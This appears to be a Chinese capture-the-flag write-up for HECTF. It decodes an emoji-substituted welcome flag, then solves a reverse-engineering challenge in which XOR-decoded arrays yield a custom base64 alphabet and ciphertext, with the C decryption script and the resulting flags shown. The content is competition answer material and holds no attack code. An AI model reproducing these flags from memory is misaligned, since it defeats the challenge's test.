hectf{🚇elco⚾e_to_hectf_ho🏉e_💎ou_c🏓🌾_e🌾🍇o💎_it}

​ 看起来这个 flag 是可读的,找 ai 看着来来回回脑洞推测可能是 welcome to hectf hope you can enjoy it,最后的 flag:

1
HECTF{welcome_to_hectf_hope_you_can_enjoy_it}

# Reverse

# easyree

​ 反编译之后,三个函数,先看第一个:

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_1389(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [rsp+14h] [rbp-1Ch]

std::string::basic_string();
std::string::reserve(a1, 64LL);
for ( i = 0; i <= 63; ++i )
std::string::operator+=(a1, (unsigned int)(char)(byte_2040[i] ^ 0x55));
return a1;
}

​ 一个异或,提取数据:

1
2
3
4
5
6
7
8
9
10
unsigned char ida_chars[] =
{
15, 12, 13, 2, 3, 0, 1, 6, 7, 4,
5, 26, 27, 24, 25, 30, 31, 28, 29, 18,
19, 16, 17, 22, 23, 20, 47, 44, 45, 34,
35, 32, 33, 38, 39, 36, 37, 58, 59, 56,
57, 62, 63, 60, 61, 50, 51, 48, 49, 54,
55, 52, 108, 109, 98, 99, 96, 97, 102, 103,
100, 101, 126, 122
};

​ 第二个函数,也是异或:

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_143F(__int64 a1)
{
int i; // [rsp+10h] [rbp-20h]

std::string::basic_string();
std::string::reserve();
for ( i = 0; i < 48; ++i )
std::string::operator+=(a1, (unsigned int)(char)(byte_2080[i] ^ 0x33));
return a1;
}

​ 提取数据:

1
2
3
4
5
6
7
8
unsigned char ida_chars2[] =
{
123, 101, 118, 100, 118, 101, 114, 1, 68, 4,
118, 91, 113, 82, 106, 84, 125, 11, 3, 10,
125, 102, 3, 81, 114, 112, 113, 82, 75, 66,
126, 92, 112, 5, 75, 87, 75, 66, 102, 67,
112, 5, 71, 80, 69, 100, 102, 3
};

​ 解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <iostream>

int main() {
unsigned char ida_chars[] =
{
15, 12, 13, 2, 3, 0, 1, 6, 7, 4,
5, 26, 27, 24, 25, 30, 31, 28, 29, 18,
19, 16, 17, 22, 23, 20, 47, 44, 45, 34,
35, 32, 33, 38, 39, 36, 37, 58, 59, 56,
57, 62, 63, 60, 61, 50, 51, 48, 49, 54,
55, 52, 108, 109, 98, 99, 96, 97, 102, 103,
100, 101, 126, 122
};
unsigned char temp[64] ={0};

printf("base64表异或后:");
for (int i = 0; i <= 63; i++){
temp[i] = ida_chars[i] ^ 0x55;
printf("%c",temp[i]);
}
printf("\n");
unsigned char ida_chars2[] =
{
123, 101, 118, 100, 118, 101, 114, 1, 68, 4,
118, 91, 113, 82, 106, 84, 125, 11, 3, 10,
125, 102, 3, 81, 114, 112, 113, 82, 75, 66,
126, 92, 112, 5, 75, 87, 75, 66, 102, 67,
112, 5, 71, 80, 69, 100, 102, 3
};
unsigned char temp2[64] ={0};
printf("密文异或后:");
for (int i = 0; i < 48; i++){
temp2[i] = ida_chars2[i] ^ 0x33;
printf("%c",temp2[i]);
}
printf("\n");

return 0;
}

​ 输出结果:

1
2
base64表异或后:ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/
密文异或后:HVEWEVA2w7EhBaYgN809NU0bACBaxqMoC6xdxqUpC6tcvWU0

​ 根据输出结果看出来是 base64 变表,解码得到 flag:

1
HECTF{welc0m3_t0_rev3r3e_w0r1d_x1x1}
更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝